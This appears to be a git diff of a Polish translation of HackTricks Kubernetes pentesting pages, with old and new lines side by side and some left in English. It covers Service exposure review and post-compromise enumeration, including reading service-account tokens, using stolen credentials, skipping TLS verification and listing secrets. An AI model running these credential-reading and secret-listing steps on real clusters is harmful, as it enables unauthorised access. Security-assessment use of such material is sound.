Ruch wchodzący do klastra z **external IP** (jako **destination IP**), na porcie Service, zostanie **przekierowany do jednego z endpointów Service**. `externalIPs` nie są zarządzane przez Kubernetes i leżą w gestii administratora klastra.
Ruch wchodzący do klastra z **external IP** (jako **destination IP**), na porcie Service, będzie **przekierowany do jednego z endpointów Service**. `externalIPs` nie są zarządzane przez Kubernetes i odpowiada za nie administrator klastra.
`externalIPs` to wrażliwe pole kontroli routingu, ponieważ użytkownik, który może je ustawić, może przejąć ruch dla adresu IP, nad którym właściciel Service nie powinien mieć kontroli, jeśli otaczająca sieć routuje ten adres IP do klastra. Kubernetes ogłosił deprecjację i planowane usunięcie `externalIPs` dla Service w v1.36, więc tam, gdzie to możliwe, preferuj mechanizmy wystawiania należące do controllerów, takie jak integracje LoadBalancer lub Gateway API, i ostrożnie ograniczaj/dopuszczaj to pole, dopóki jeszcze istnieje.
`externalIPs` to wrażliwe pole kontroli routingu, ponieważ użytkownik, który może je ustawić, może przejąć ruch dla adresu IP, nad którym właściciel Service nie powinien mieć kontroli, jeśli otaczająca sieć routuje ten IP do klastra. Kubernetes ogłosił deprecjację i planowane usunięcie `externalIPs` dla Service w v1.36, więc tam, gdzie to możliwe, preferuj mechanizmy ekspozycji należące do controllerów, takie jak integracje LoadBalancer lub Gateway API, i starannie ograniczaj/dopuszczaj to pole, dopóki jeszcze istnieje.
W specyfikacji Service, `externalIPs` mo być określone razem z dowolnym z `ServiceTypes`. W poniższym przykładzie "`my-service`" może być dostępny dla klientów pod "`80.11.12.10:80`" (`externalIP:port`)
W specyfikacji Service, `externalIPs` może być określone wraz z dowolnym z `ServiceTypes`. W poniższym przykładzie "`my-service`" może być dostępny dla klientów pod "`80.11.12.10:80`" (`externalIP:port`)
```yaml
apiVersion: v1
kind: Service
@@ -134,9 +135,9 @@ externalIPs:
```
### ExternalName
[**Z dokumentacji:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Services typu ExternalName **mapują Service do nazwy DNS**, a nie do typowego selektora, takiego jak `my-service` czy `cassandra`. Te Services określa się za pomocą parametru `spec.externalName`.
[**Z dokumentacji:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Usługi typu ExternalName **mapują Service na nazwę DNS**, a nie na typowy selector, taki jak `my-service` lub `cassandra`. Tego rodzaju Services określa się za pomocą parametru `spec.externalName`.
Na przykład ta definicja Service mapuje Service `my-service` w namespace `prod` na `my.database.example.com`:
Na przykład ta definicja Service mapuje Service `my-service` w namespace `prod` do `my.database.example.com`:
```yaml
apiVersion: v1
kind: Service
@@ -147,15 +148,17 @@ spec:
type: ExternalName
externalName: my.database.example.com
```
Podczas wyszukiwania hosta `my-service.prod.svc.cluster.local`, usługa DNS klastra zwraca rekord `CNAME` z wartością `my.database.example.com`. Dostęp do `my-service` działa w ten sam sposób jak w przypadku innych Services, ale z kluczową różnicą, że **przekierowanie odbywa się na poziomie DNS** zamiast przez proxying albo forwarding.
Gdy wyszukujesz host `my-service.prod.svc.cluster.local`, usługa DNS klastra zwraca rekord `CNAME` z wartością `my.database.example.com`. Dostęp do `my-service` działa tak samo jak w przypadku innych Services, ale z kluczową różnicą, że **przekierowanie odbywa się na poziomie DNS** zamiast poprzez proxying lub forwarding.
Wymień wszystkie ExternalNames:
Uwaga z przeglądu bezpieczeństwa: jeśli kontroler Ingress, implementacja Gateway, service mesh lub aplikacja akceptuje Service typu ExternalName jako backend, kontroler może rozwiązać i osiągnąć nazwę zewnętrzną ze swojej własnej pozycji sieciowej. To może ujawnić wewnętrzne usługi przez publiczną infrastrukturę routingu, gdy użytkownicy mogą utworzyć zarówno obiekt route, jak i Service typu ExternalName. Sprawdź konkretną implementację i wersję kontrolera, flagi wsparcia ExternalName lub allowlists, status route oraz dokładną domenę docelową, zanim uznasz to za bezpieczne. Na przykład Skipper naprawił podatność Kubernetes ExternalName SSRF w v0.24.0, wyłączając backendy ExternalName domyślnie i dokumentując opcję allowlist.
List all ExternalNames:
```bash
kubectl get services --all-namespaces | grep ExternalName
```
### EndpointSlices
EndpointSlices pokazują konkretne adresy backendów i porty, do których Service aktualnie kieruje ruch. Są szczególnie przydatne, gdy Service nie ma selector, gdy labels nie wyjaśniają ścieżki ruchu lub gdy tylko część backendów jest gotowa.
EndpointSlices pokazują konkretne adresy backendów i porty, do których Service obecnie kieruje ruch. Są szczególnie przydatne, gdy Service nie ma selector, gdy labels nie wyjaśniają ścieżki ruchu lub gdy tylko niektóre backendy są gotowe.
Wyświetl EndpointSlices powiązane z Services:
```bash
@@ -164,15 +167,15 @@ kubectl get endpointslice -n <namespace> -l kubernetes.io/service-name=<service-
kubectl get endpointslice -n <namespace> -l kubernetes.io/service-name=<service-name> \
-o custom-columns='NAME:.metadata.name,ADDR:.endpoints[*].addresses,READY:.endpoints[*].conditions.ready,PORTS:.ports[*].port'
```
Przy przeglądaniu exposure porównaj selector Service z `targetRef` EndpointSlice, adresami endpointów, warunkami readiness i portami. Service bez selectora może być połączony z ręcznie zarządzanymi EndpointSlices i kierować traffic do nie-Pod lub nieoczekiwanych destynacji.
Podczas przeglądania ekspozycji porównaj Service selector z EndpointSlice `targetRef`, adresami endpointów, warunkami gotowości i portami. Service bez selektora może być sparowany z ręcznie zarządzanymi EndpointSlices i kierować ruch do nie-Pod lub nieoczekiwanych celów.
### Ingress
W przeciwieństwie do wszystkich powyższych przykładów, **Ingress NIE jest typem service**. Zamiast tego stoi **przed wieloma services i działa jako „smart router”** albo punkt wejścia do twojego cluster.
W przeciwieństwie do wszystkich powyższych przykładów, **Ingress is NOT a type of service**. Zamiast tego znajduje się **przed wieloma service i działa jako „smart router”** lub punkt wejścia do klastra.
Możesz robić z Ingress wiele różnych rzeczy, a istnieje **wiele typów Ingress controllers, które mają różne capabilities**.
Możesz zrobić z Ingress wiele różnych rzeczy, a istnieje **wiele typów Ingress controllers, które mają różne możliwości**.
Domyślny GKE ingress controller uruchomi dla ciebie [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/). Pozwoli ci to używać zarówno routingu opartego na ścieżce, jak i na subdomain, do backend services. Na przykład możesz wysłać wszystko na foo.yourdomain.com do service foo, a wszystko pod path yourdomain.com/bar/ do service bar.
Domyślny GKE ingress controller uruchomi dla Ciebie [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/). Umożliwi Ci to routing oparty zarówno na ścieżkach, jak i na subdomenach do backend services. Na przykład możesz wysłać wszystko z foo.yourdomain.com do service foo, a wszystko pod ścieżką yourdomain.com/bar/ do service bar.
YAML dla obiektu Ingress w GKE z [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) może wyglądać tak:
```yaml
@@ -208,37 +211,46 @@ name: bar
port:
number: 8080
```
Wylistuj wszystkie ingresses:
Listuj wszystkie ingressy:
```bash
kubectl get ingresses --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,RULES:spec.rules[*],STATUS:status'
```
Chociaż w tym przypadku lepiej jest pobierać informacje o każdym z nich po kolei, aby lepiej je odczytać:
Chociaż w tym przypadku lepiej jest pobierać informacje o każdym pojedynczo, aby lepiej je przeczytać:
```bash
kubectl get ingresses --all-namespaces -o=yaml
```
### Gateway API
Gateway API to nowsze Kubernetes API do exposing Services. Oddziela obiekty Gateway należące do infrastruktury od obiektów Route należących do aplikacji, takich jak HTTPRoute. Jest to przydatne do delegation, ale oznacza też, że exposure może być podzielone między namespace.
Gateway API to nowsze Kubernetes API do exposing Services. Oddziela owned by infrastructure obiekty Gateway od owned by application obiektów Route, takich jak HTTPRoute. Jest to useful for delegation, ale oznacza też, że exposure może być split across namespaces.
Wylistuj obiekty exposure Gateway API:
List Gateway API exposure objects:
```bash
kubectl get gatewayclasses
kubectl get gateways --all-namespaces
kubectl get httproutes --all-namespaces
kubectl get grpcroutes,tlsroutes,tcproutes,udproutes --all-namespaces
kubectl get referencegrants --all-namespaces
kubectl get backendtlspolicies --all-namespaces
kubectl get gateway -n <namespace> <gateway-name> -o yaml
kubectl get httproute -n <namespace> <route-name> -o yaml
```
Sprawdź Gateway listeners, dozwolone route namespaces, Route `parentRefs`, hostnames, filters, backend references oraz status conditions, takie jak to, czy route została accepted. Route, która została accepted przez współdzielony Gateway, może expose backend nawet wtedy, gdy nie istnieje żaden legacy Ingress object.
Sprawdź Gateway listeners, dozwolone route namespaces, `parentRefs` Route, hostnames lub dopasowania SNI, filtry, backend references oraz warunki statusu, takie jak `Accepted`, `ResolvedRefs` i `Programmed`. Route zaakceptowany przez współdzielony Gateway może expose backend nawet wtedy, gdy nie istnieje żaden legacy obiekt Ingress.
Nie sprawdzaj tylko HTTPRoute. GRPCRoute, TLSRoute, TCPRoute i UDPRoute mogą expose usługi non-HTTP, takie jak porty admin, brokers, databases, service-mesh gateways lub pass-through TLS backends. Przejrzyj także obiekty `ReferenceGrant` pod kątem cross-namespace backend lub certificate references oraz `BackendTLSPolicy` pod kątem tożsamości TLS, której Gateway używa podczas łączenia się z backend Services. Backend TLS policy sama w sobie nie jest dowodem publicznej reachability, ale jest użytecznym dowodem, gdy programmed Gateway route trafia do ready Service ze słabą, współdzieloną lub błędną walidacją tożsamości backend.
### References
- [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0)
- [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/)
- [https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/](https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/)
- [https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/](https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/)
- [https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/](https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/)
- [https://kubernetes.io/docs/tutorials/services/source-ip/](https://kubernetes.io/docs/tutorials/services/source-ip/)
- [https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/](https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/)
- [https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/](https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/)
- [https://gateway-api.sigs.k8s.io/](https://gateway-api.sigs.k8s.io/)
- [https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/](https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/)
- [https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/](https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/)
- [https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9](https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9)
{{#include ../../banners/hacktricks-training.md}}
@@ -4,86 +4,86 @@
## Kubernetes Tokens
If you have compromised access to a machine the user may have access to some Kubernetes platform. The token is usually located in a file pointed by the **env var `KUBECONFIG`** or **inside `~/.kube`**.
Jeśli uzyskałeś dostęp do maszyny, użytkownik może mieć dostęp do jakiejś platformy Kubernetes. Token zwykle znajduje się w pliku wskazanym przez **env var `KUBECONFIG`** lub **wewnątrz `~/.kube`**.
In this folder you might find config files with **tokens and configurations to connect to the API server**. In this folder you can also find a cache folder with information previously retrieved.
W tym folderze możesz znaleźć pliki konfiguracyjne z **tokenami i konfiguracjami do połączenia z API server**. W tym folderze możesz też znaleźć folder cache z wcześniej pobranymi informacjami.
If you have compromised a pod inside a kubernetes environment, there are other places where you can find tokens and information about the current K8 env:
Jeśli uzyskałeś dostęp do poda wewnątrz środowiska kubernetes, są też inne miejsca, w których możesz znaleźć tokeny i informacje o bieżącym K8 env:
### Service Account Tokens
Before continuing, if you don't know what is a service in Kubernetes I would suggest you to **follow this link and read at least the information about Kubernetes architecture.**
Zanim przejdziesz dalej, jeśli nie wiesz, czym jest service w Kubernetes, sugeruję **przejść pod ten link i przeczytać przynajmniej informacje o architekturze Kubernetes.**
Taken from the Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server):
Pobrane z Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server):
_“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_
**ServiceAccount** is an object managed by Kubernetes and used to provide an identity for processes that run in a pod.\
Every service account has a secret related to it and this secret contains a bearer token. This is a JSON Web Token (JWT), a method for representing claims securely between two parties.
**ServiceAccount** to obiekt zarządzany przez Kubernetes, używany do zapewnienia tożsamości procesom działającym w podzie.\
Każdy service account ma powiązany secret, a ten secret zawiera bearer token. Jest to JSON Web Token (JWT), metoda bezpiecznego reprezentowania claims między dwiema stronami.
Usually **one** of the directories:
Zwykle **jedna** z katalogów:
- `/run/secrets/kubernetes.io/serviceaccount`
- `/var/run/secrets/kubernetes.io/serviceaccount`
- `/secrets/kubernetes.io/serviceaccount`
contain the files:
zawiera pliki:
- **ca.crt**: It's the ca certificate to check kubernetes communications
- **namespace**: It indicates the current namespace
- **token**: It contains the **service token** of the current pod.
- **ca.crt**: To jest certyfikat ca do sprawdzania komunikacji z kubernetes
- **namespace**: Wskazuje bieżący namespace
- **token**: Zawiera **service token** bieżącego poda.
Now that you have the token, you can find the API server inside the environment variable **`KUBECONFIG`**. For more info run `(env | set) | grep -i "kuber|kube`**`"`**
Teraz, gdy masz token, możesz znaleźć API server w zmiennej środowiskowej **`KUBECONFIG`**. Po więcej informacji uruchom `(env | set) | grep -i "kuber|kube`**`"`**
The service account token is being signed by the key residing in the file **sa.key** and validated by **sa.pub**.
Service account token jest podpisywany przez klucz znajdujący się w pliku **sa.key** i weryfikowany przez **sa.pub**.
Default location on **Kubernetes**:
Domyślna lokalizacja na **Kubernetes**:
- /etc/kubernetes/pki
Default location on **Minikube**:
Domyślna lokalizacja na **Minikube**:
- /var/lib/localkube/certs
### Hot Pods
_**Hot pods are**_ pods containing a privileged service account token. A privileged service account token is a token that has permission to do privileged tasks such as listing secrets, creating pods, etc.
_**Hot pods are**_ pody zawierające uprzywilejowany service account token. Uprzywilejowany service account token to token, który ma uprawnienia do wykonywania uprzywilejowanych zadań, takich jak listowanie secrets, tworzenie podów itp.
## RBAC
If you don't know what is **RBAC**, **read this section**.
Jeśli nie wiesz, czym jest **RBAC**, **przeczytaj tę sekcję**.
## GUI Applications
- **k9s**: A GUI that enumerates a kubernetes cluster from the terminal. Check the commands in[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Write `:namespace` and select all to then search resources in all the namespaces.
- **k8slens**: It offers some free trial days: [https://k8slens.dev/](https://k8slens.dev/)
- **k9s**: GUI, które enumeruje klaster kubernetes z terminala. Sprawdź komendy w[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Wpisz `:namespace` i wybierz all, aby potem szukać zasobów we wszystkich namespace.
- **k8slens**: Oferuje kilka dni darmowego triala: [https://k8slens.dev/](https://k8slens.dev/)
## Enumeration CheatSheet
In order to enumerate a K8s environment you need a couple of this:
Aby enumerate środowisko K8s, potrzebujesz kilku rzeczy:
- A **valid authentication token**. In the previous section we saw where to search for a user token and for a service account token.
- The **address (**_**https://host:port**_**) of the Kubernetes API**. This can be usually found in the environment variables and/or in the kube config file.
- **Optional**: The **ca.crt to verify the API server**. This can be found in the same places the token can be found. This is useful to verify the API server certificate, but using `--insecure-skip-tls-verify` with `kubectl` or `-k` with `curl` you won't need this.
- **Prawidłowego tokena uwierzytelniającego**. W poprzedniej sekcji zobaczyliśmy, gdzie szukać tokena użytkownika i tokena service account.
- **Adresu (**_**https://host:port**_**) Kubernetes API**. Zwykle można go znaleźć w zmiennych środowiskowych i/lub w pliku kube config.
- **Opcjonalnie**: **ca.crt do weryfikacji API server**. Można go znaleźć w tych samych miejscach, w których można znaleźć token. Jest to przydatne do weryfikacji certyfikatu API server, ale używając `--insecure-skip-tls-verify` z `kubectl` lub `-k` z `curl` nie będzie to potrzebne.
With those details you can **enumerate kubernetes**. If the **API** for some reason is **accessible** through the **Internet**, you can just download that info and enumerate the platform from your host.
Mając te dane możesz **enumerate kubernetes**. Jeśli **API** z jakiegoś powodu jest **dostępne** przez **Internet**, możesz po prostu pobrać te informacje i enumerate platformę ze swojego hosta.
However, usually the **API server is inside an internal network**, therefore you will need to **create a tunnel** through the compromised machine to access it from your machine, or you can **upload the** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary, or use **`curl/wget/anything`** to perform raw HTTP requests to the API server.
Jednak zwykle **API server znajduje się w sieci wewnętrznej**, dlatego będziesz musiał **utworzyć tunnel** przez przejętą maszynę, aby uzyskać do niego dostęp ze swojej maszyny, albo możesz **przesłać** binarkę [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux), albo użyć **`curl/wget/anything`** do wykonania surowych żądań HTTP do API server.
### Differences between `list` and `get` verbs
With **`get`** permissions you can access information of specific assets (_`describe` option in `kubectl`_) API:
Przy uprawnieniach **`get`** możesz uzyskać dostęp do informacji o konkretnych asset (_`describe` option in `kubectl`_) API:
```
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
```
Jeśli masz uprawnienie **`list`**, możesz wykonywać żądania API w celu wylistowania typu assetu (_`get` option w `kubectl`_):
Jeśli masz uprawnienie **`list`**, możesz wykonywać żądania API, aby wylistować dany typ zasobu (_opcję `get` w `kubectl`_):
```bash
#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments
```
Jeśli masz uprawnienie **`watch`**, możesz wykonywać żądania API, aby monitorować zasoby:
Jeśli masz uprawnienie **`watch`**, możesz wykonywać requesty API, aby monitorować assets:
```
GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
@@ -91,14 +91,14 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
GET /apis/apps/v1/watch/deployments [DEPRECATED]
```
Otwierają streaming connection, która zwraca pełny manifest Deployment za każdym razem, gdy się zmienia (lub gdy zostanie utworzony nowy).
Otwierają streaming connection, które zwraca pełny manifest Deployment za każdym razem, gdy się zmienia (albo gdy zostanie utworzony nowy).
> [!CAUTION]
> Poniższe polecenia `kubectl` pokazują jedynie, jak wylistować obiekty. Jeśli chcesz uzyskać dostęp do danych, musisz użyć `describe` zamiast `get`
> The following `kubectl` commands indicates just how to list the objects. If you want to access the data you need to use `describe` instead of `get`
### Using curl
Z wnętrza pod możesz użyć kilku zmiennych env:
From inside a pod you can use several env variables:
```bash
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
@@ -109,19 +109,19 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
```
> [!WARNING]
> Domyślnie pod może **uzyskać dostęp** do **kube-api server** w nazwie domeny **`kubernetes.default.svc`** i możesz zobaczyć kube network w **`/etc/resolv.config`**, ponieważ znajdziesz tam adres serwera DNS kubernetes (".1" z tego samego zakresu to endpoint kube-api).
> Domyślnie pod może **uzyskać dostęp** do **kube-api server** pod nazwą domenową **`kubernetes.default.svc`** i możesz zobaczyć sieć kube w **`/etc/resolv.config`**, gdzie znajdziesz adres serwera DNS Kubernetes (".1" z tego samego zakresu to endpoint kube-api).
### Using kubectl
Mając token i adres API server, używasz kubectl lub curl, aby uzyskać do niego dostęp, jak wskazano tutaj:
Mając token i adres API server możesz użyć kubectl lub curl, aby uzyskać do niego dostęp, jak wskazano tutaj:
Domyślnie, APISERVER komunikuje się ze schematem `https://`
Domyślnie, APISERVER komunikuje się za pomocą schematu `https://`
```bash
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
```
> jeśli w url nie ma `https://`, możesz dostać Error Like Bad Request.
> if no `https://` in url, you may get Error Like Bad Request.
Możesz znaleźć [**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). Celem poniższych sekcji jest przedstawienie w uporządkowany sposób różnych opcji do enumeracji i zrozumienia nowego K8s, do którego uzyskałeś dostęp.
Możesz znaleźć [**oficjalny kubectl cheatsheet tutaj**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). Celem poniższych sekcji jest uporządkowane przedstawienie różnych opcji do enumeracji i zrozumienia nowego K8s, do którego uzyskałeś dostęp.
Aby znaleźć HTTP request, który wysyła `kubectl`, możesz użyć parametru `-v=8`
@@ -150,7 +150,7 @@ kubectl config set-context --current --namespace=<namespace>
{{#endtab }}
{{#endtabs }}
Jeśli udało Ci się ukraść poświadczenia niektórych użytkowników, możesz **skonfigurować je lokalnie** używając czegoś takiego jak:
Jeśli udało Ci się ukraść poświadczenia jakiegoś użytkownika, możesz je **skonfigurować lokalnie** używając czegoś takiego:
```bash
kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
@@ -161,7 +161,7 @@ kubectl config set-credentials USER_NAME \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )
```
### Pobierz obsługiwane zasoby
### Uzyskaj obsługiwane zasoby
Z tą informacją będziesz wiedzieć o wszystkich usługach, które możesz wylistować
@@ -174,20 +174,46 @@ k api-resources --namespaced=false #Resources NOT specific to a namespace
{{#endtab }}
{{#endtabs }}
### Wartościowe metadane obiektu do sprawdzenia
### Metadane obiektu warte sprawdzenia
Gdy możesz odczytać obiekt, wyeksportuj pełny YAML lub JSON zamiast polegać wyłącznie na wyniku tabeli lub `describe`. Najbardziej użyteczny kontekst bezpieczeństwa często znajduje się w ogólnych polach obiektu, które istnieją w wielu typach zasobów:
Gdy możesz odczytać obiekt, wyeksportuj pełny YAML lub JSON zamiast polegać tylko na wyjściu tabeli lub `describe`. Najbardziej użyteczny kontekst bezpieczeństwa często znajduje się w ogólnych polach obiektu, które istnieją w wielu typach zasobów:
```bash
kubectl get pod <pod> -n <ns> -o yaml
kubectl get deploy <deploy> -n <ns> -o json | jq '.metadata, .spec, .status'
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase'
```
- `metadata.uid`, `name`, `namespace`, `apiVersion` i `kind` identyfikują dokładny obiekt i pomagają uniknąć pomyłek między obiektami o tej samej nazwie w różnych namespaces lub grupach API.
- `metadata.labels` i selektory łączą Services, Deployments, ReplicaSets, Pods, NetworkPolicies i automation. Śledzenie selektorów jest często najszybszym sposobem na zidentyfikowanie rzeczywistych backend pods dla Service.
- `metadata.annotations` mogą wyciekać kontekst operacyjny, taki jak zachowanie ingress, ustawienia cloud load balancer, metadane GitOps lub Helm, wyjątki polityk oraz konfiguracja service mesh. Nie powinny zawierać secretów, ale w prawdziwych klastrach często ujawniają przydatne wskazówki.
- `metadata.ownerReferences` pokazuje linię pochodzenia controller. Jeśli Pod jest własnością ReplicaSet, który jest własnością Deployment, zmiana lub usunięcie tylko Poda zwykle nie naprawia źródła problemu.
- `metadata.finalizers` i `metadata.deletionTimestamp` wyjaśniają zasoby zablokowane podczas usuwania i mogą ujawniać cleanup controllers albo triki związane z persistence/disruption.
- `status`, Events i conditions mogą ujawniać rozmieszczenie na node, pod IP, image IDs, komunikaty o błędach, problemy z planowaniem, odmowy admission oraz postęp controller. Są przydatnymi wskazówkami, ale audit logs nadal są potrzebne, aby udowodnić, kto wykonał akcję.
- `metadata.uid`, `name`, `namespace`, `apiVersion` i `kind` identyfikują dokładny obiekt i pomagają uniknąć pomyłek między obiektami o tej samej nazwie w różnych namespace lub grupach API.
- `metadata.labels` i selektory łączą Services, Deployments, ReplicaSets, Pods, NetworkPolicies i automatyzację. Podążanie za selektorami to często najszybszy sposób na zidentyfikowanie rzeczywistych backend pods dla Service.
- `metadata.annotations` mogą ujawniać kontekst operacyjny, taki jak zachowanie ingress, ustawienia cloud load balancer, metadane GitOps lub Helm, wyjątki policy oraz konfiguracja service mesh. Nie powinny zawierać secrets, ale prawdziwe klastry często ujawniają tam użyteczne wskazówki.
- `metadata.ownerReferences` pokazuje rodowód controller. Jeśli Pod należy do ReplicaSet należącego do Deployment, zmiana lub usunięcie tylko Pod zwykle nie naprawia źródła.
- `metadata.finalizers` i `metadata.deletionTimestamp` wyjaśniają resource zablokowane podczas deletion i mogą ujawnić cleanup controllers albo techniki persistence/disruption.
- `status`, Events i conditions mogą ujawnić rozmieszczenie node, pod IP, image ID, komunikaty błędów, problemy ze scheduling, odmowy admission oraz postęp controller. Są użytecznymi wskazówkami, ale do udowodnienia, kto wykonał akcję, nadal potrzebne są audit logs.
### Dynamic Resource Allocation i device evidence
Jeśli cluster używa GPUs, NICs, FPGAs lub innego specjalistycznego hardware, sprawdź, czy obecne jest Kubernetes Dynamic Resource Allocation (DRA). DRA używa obiektów `resource.k8s.io`, takich jak `DeviceClass`, `ResourceSlice`, `ResourceClaim` i `ResourceClaimTemplate`, aby opisać dostępne devices i przydzielać je dla Pods. Obiekty te mogą ujawniać, które node mają dostęp do wartościowego hardware, jaki driver nim zarządza i który workload ma allocation.
```bash
kubectl api-resources --api-group=resource.k8s.io
kubectl get deviceclasses.resource.k8s.io 2>/dev/null
kubectl get resourceslices.resource.k8s.io 2>/dev/null
kubectl get resourceclaims.resource.k8s.io -A 2>/dev/null
kubectl get resourceclaimtemplates.resource.k8s.io -A 2>/dev/null
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"/"}{.metadata.name}{" claims="}{.spec.resourceClaims}{" node="}{.spec.nodeName}{"\n"}{end}'
kubectl get daemonsets,pods -A -o wide | grep -Ei 'dra|device|gpu|nvidia|amd|intel|sriov|fpga'
```
Podczas przeglądu ogranicz zapisy do cluster-scoped obiektów `DeviceClass` i `ResourceSlice` do adminów i driverów DRA, a uprawnienia do `ResourceClaim` / `ResourceClaimTemplate` trzymaj w zakresie namespaces, które ich potrzebują. Uprawnienia driverów do aktualizacji statusu `ResourceClaim` powinny być jawne i wąskie. Na nodeach kubelet PodResources API jest zwykle wystawiane przez `/var/lib/kubelet/pod-resources/kubelet.sock`; monitoringowe DaemonSets mogą montować ten katalog, aby sprawdzać przypisane devices, więc review takich Pods tak samo jak innych uprzywilejowanych node agents.
### ClusterTrustBundle i trust certyfikatów add-on
Nowsze clusters mogą udostępniać obiekty `ClusterTrustBundle` w API group `certificates.k8s.io`. Są to cluster-scoped pakiety trust anchor X.509, które Pods mogą montować przez projected volumes. Szeroki read access jest oczekiwany, ale write access jest wrażliwy, ponieważ zmiana trusted roots może wpływać na webhooks, aggregated APIs, service meshes oraz applications, które korzystają z cluster-distributed CA material.
```bash
kubectl api-resources --api-group=certificates.k8s.io | grep -i clustertrustbundle
kubectl get clustertrustbundles.certificates.k8s.io 2>/dev/null
kubectl get clustertrustbundle <name> -o yaml 2>/dev/null
kubectl get pods -A -o yaml | grep -n -E 'clusterTrustBundle|trustBundle|caBundle'
kubectl get apiservices -o jsonpath='{range .items[*]}{.metadata.name}{" insecure="}{.spec.insecureSkipTLSVerify}{" service="}{.spec.service.namespace}{"/"}{.spec.service.name}{"\n"}{end}'
```
During review, record `signerName`, bundle fingerprints, writer identities, projected-volume consumers, and any trust-distribution controller such as cert-manager trust-manager. Treat `APIService` objects with `insecureSkipTLSVerify: true`, stale `caBundle` values, or broad permissions to patch APIService/webhook trust fields as certificate-trust findings rather than ordinary object inventory.
### Get Current Privileges
@@ -212,21 +238,21 @@ kurl -i -s -k -X $'POST' \
{{#endtab }}
{{#endtabs }}
Innym sposobem na sprawdzenie swoich uprawnień jest użycie narzędzia: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
Inny sposób na sprawdzenie swoich uprawnień to użycie narzędzia: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
Więcej o **Kubernetes RBAC** możesz przeczytać w:
Więcej informacji o **Kubernetes RBAC** znajdziesz w:
{{#ref}}
kubernetes-role-based-access-control-rbac.md
{{#endref}}
**Gdy już wiesz, jakie uprawnienia** masz, sprawdź następującą stronę, aby ustalić **czy możesz je nadużyć** do podniesienia uprawnień:
**Gdy już wiesz, jakie uprawnienia** posiadasz, sprawdź następującą stronę, aby ustalić, **czy możesz je nadużyć** do eskalacji uprawnień:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
{{#endref}}
### Get Others roles
### Pobierz inne role
{{#tabs }}
{{#tab name="kubectl" }}
@@ -246,7 +272,7 @@ kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clu
### Pobierz namespaces
Kubernetes obsługuje **multiple virtual clusters** oparte na tym samym fizycznym cluster. Te virtual clusters są nazywane **namespaces**.
Kubernetes obsługuje **wiele virtual clusters** opartych na tym samym physical cluster. Te virtual clusters są nazywane **namespaces**.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -259,6 +285,9 @@ k get namespaces
```bash
kurl -k -v https://$APISERVER/api/v1/namespaces/
```
{{#endtab }}
{{#endtabs }}
### Pobierz secrets
{{#tabs }}
@@ -278,13 +307,13 @@ kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/
